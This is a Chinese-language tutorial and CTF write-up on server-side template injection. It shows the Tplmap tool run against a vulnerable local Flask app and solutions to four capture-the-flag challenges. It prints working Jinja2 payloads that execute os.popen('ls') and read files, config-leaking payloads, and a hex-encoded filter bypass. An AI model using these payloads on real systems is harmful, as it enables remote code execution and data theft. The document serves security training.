0x01 注入工具——Tplmap
简介
Tplmap是一款强大的SSTI注入工具,支持大部分流行模板引擎的自动注入,包括前文所述的Jinja2模板,具体支持的引擎如下图所示:
安装
Tplmap使用python2编写,依赖于python2环境,安装较简单,在linux中依次输入以下指令即可:
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
使用
先在本地跑起flask服务:
#导入Template
from jinja2 import Template
from flask import Flask,request
app = Flask(__name__)
@app.route("/")
def index():
#接收用户的get参数
name = request.args.get('name')
#将get参数name动态的显示在界面上
t = Template('hello '+ name)
#渲染模板,生成标准html代码
return t.render()
if __name__ == "__main__":
app.run()
在终端输入:python tplmap.py -u http://127.0.0.1:5000/?name=ichunqiu
,检测SSTI漏洞是否存在
回显如下:
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: nt-win32
Technique: render
Capabilities:
Shell command execution: no
Bind and reverse shell: no
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
可以看到,存在SSTI注入漏洞,而且拥有文件操作权限
尝试下载源码:python tplmap.py -u http://127.0.0.1:5000/?name=ichunqiu --download ./app.py ./result.py
回显如下:
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: nt-win32
Technique: render
Capabilities:
Shell command execution: no
Bind and reverse shell: no
File write: ok
File read: ok
Code evaluation: ok, python code
[plugin] Remote file md5 mismatch, check manually
查看本地文件,成功下载源码:
以上为tplmap基本操作,接下来进入CTF实战
0x02 CTF实例讲解
攻防世界——Web_python_template_injection
该题目被攻防世界收录
01 进入页面,只有简单一行字
02 没有找到任何GET或POST参数,尝试使用burp爆破参数无果
03 尝试目录爆破无果
04 很纳闷,随便访问一个文件看看报错信息,是否开启了debug
05 看到回显,恍然大悟,注入点即报错信息
06 直接丢Payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
07 爆出该目录下有flag文件,直接丢文件读取Payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('fl4g', 'r').read() }}{% endif %}{% endfor %}
08 结束
TokyoWesterns CTF——shrine
攻防世界已收录该题
01 进入页面,直接给出了源码
02 看到flag是从该程序环境变量里获取的,那么我们只需要读取{{config}}
就可以拿到flag
03 再看源码,存在路由/shrine/,但是config已经被加入了黑名单,只能通过其他的方法获取
04 这里提供两个Payload
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
url_for和get_flashed_messages都是flask内置的函数,payload的原理就是利用这两个内置函数反查current_app获取其config属性
pasecactf_2019——flask_ssti
本题已被buuctf收录
01 题目给出了一段加密代码
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
02 根据代码知道两个信息:
- flag在config对象中
- flag已经被这一段加密算法加密
03 想办法获取config对象,看到网页有一个输入框:
04 尝试提交数据,发现页面回显了我们提交的数据,结合本体题目,应该是考察SSTI注入漏洞
05 传入参数nickname={{config}}
,尝试获取config对象,直接给爆出来了
06 flag为加密后的字符串,再分析之前给的加密算法,因为全部采用异或进行加密,所以加密算法就是解密算法。直接本地跑一下,得到flag
NCTF 2020——你就是我的master吗
01 访问页面,页面很简单
02 查看源代码,发现参数name
03 输入参数访问,页面返回了参数,这种情况下大概率是SSTI
04 上工具tplmap,能识别出是Jinja2模板引擎,但是没有任何权限,应该是存在过滤
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: undetected
Technique: render
Capabilities:
Shell command execution: no
Bind and reverse shell: no
File write: no
File read: no
Code evaluation: no
[+] Rerun tplmap providing one of the following options:
05 使用burp把过滤符号跑出来:
分析结果,被过滤的符号有:
% - : + _ . \ |
一共8个,再尝试输入几个关键词,发现如class等关键词也被过滤
06 构造payload
以下为绕过思路:
- 原语句为:
().__class__.__bases__[0].__subclasses__()
- 过滤了点号,使用[" "]代替:
()["__class__"]["__bases__"][0]["__subclasses__"]()
- 过滤了下划线,使用十六进制\x5f代替:
()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()
- 过滤了关键字,采用字符串拼接:
()["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fbas"+"es\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()
- 成功绕过过滤
07 细心的朋友应该能看出来此处有坑,最终的payload是()["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fbas"+"es\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()
,存在+号,然而+号已经被过滤,为何能绕过?
原因是payload号在传入python时,+号跑了,我们可以单步调试证实
先给出题目的源码:
from jinja2 import Template
from flask import Flask,request
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
blacklist = ['%', '-', ':', '+', 'class', 'base', 'mro', '_', 'config', 'args', 'init', 'global', '.', '\'', 'req',
'|', 'attr', 'get']
for i in blacklist:
if i in name:
return Template('你真是个小可爱').render()
t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!-- ?name=master -->")
return t.render()
if __name__ == "__main__":
app.run()
随意下一个断点,传入payload
可以看到,三个+号全都跑了,因此,这个payload其实是非预期解
08 不过预期解和非预期解差不多,直接全部16进制编码就好
Payload:
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()
2018护网杯——easytornado
此题也被攻防世界收录
01 看题目应该是tornado框架,进入页面,发现有三个文件,依次查看
02 根据提示,flag在文件/fllllllllllllag中,直接修改url尝试读取
03 直接报错了,因为filehash不正确,而这个报错页面很可疑,修改msg参数看是否有SSTI漏洞
04 页面回显了我们的参数,大概率存在SSTI注入,因为是tornado框架,不清楚其具体SSTI注入语句,直接丢工具里看看
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'msg' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin is testing blind injection
[+] Freemarker plugin is testing rendering with tag '*'
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '*'
[+] Velocity plugin is testing blind injection
[+] Slim plugin is testing rendering with tag '"#{*}"'
[+] Slim plugin is testing blind injection
[+] Erb plugin is testing rendering with tag '"#{*}"'
[+] Erb plugin is testing blind injection
[+] Pug plugin is testing rendering with tag '\n= *\n'
[+] Pug plugin is testing blind injection
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin is testing blind injection
[+] Dot plugin is testing rendering with tag '{{=*}}'
[+] Dot plugin is testing blind injection
[+] Dust plugin is testing rendering
[+] Dust plugin is testing blind injection
[+] Marko plugin is testing rendering with tag '${*}'
[+] Marko plugin is testing blind injection
[+] Javascript plugin is testing rendering with tag '*'
[+] Javascript plugin is testing blind injection
[+] Php plugin is testing rendering with tag '*'
[+] Php plugin is testing blind injection
[+] Ruby plugin is testing rendering with tag '"#{*}"'
[+] Ruby plugin is testing blind injection
[+] Ejs plugin is testing rendering with tag '*'
[+] Ejs plugin is testing blind injection
[!][checks] Tested parameters appear to be not injectable.
05 工具没跑出来,应该是存在过滤。再看题目提示,filehash需要文件名和cookie_secret生成,那思路就很清晰了,SSTI注入获得该网站cookie_secret
06 百度了一篇关于tornado框架SSTI注入的文章(见参考链接),尝试他的Payload:?msg={{handler.settings}}
,成功了
07 直接手动生成以下filehash
08 尝试读取文件,拿下了
0x03 总结
SSTI注入是CTF中出场率较高的题型,且CTF题目一般都喜欢在考察SSTI的基础上下绊子,如上述题目中有的题目加了过滤,有的题目加入了base64编码,有的题目加入了异或加密,想做好这一类题目,需要我们巩固知识和勤加实战,单单懂得SSTI的原理和基本方法是无法完成题目的。
0x04 参考链接
https://www.cnblogs.com/cimuhuashuimu/p/11544455.html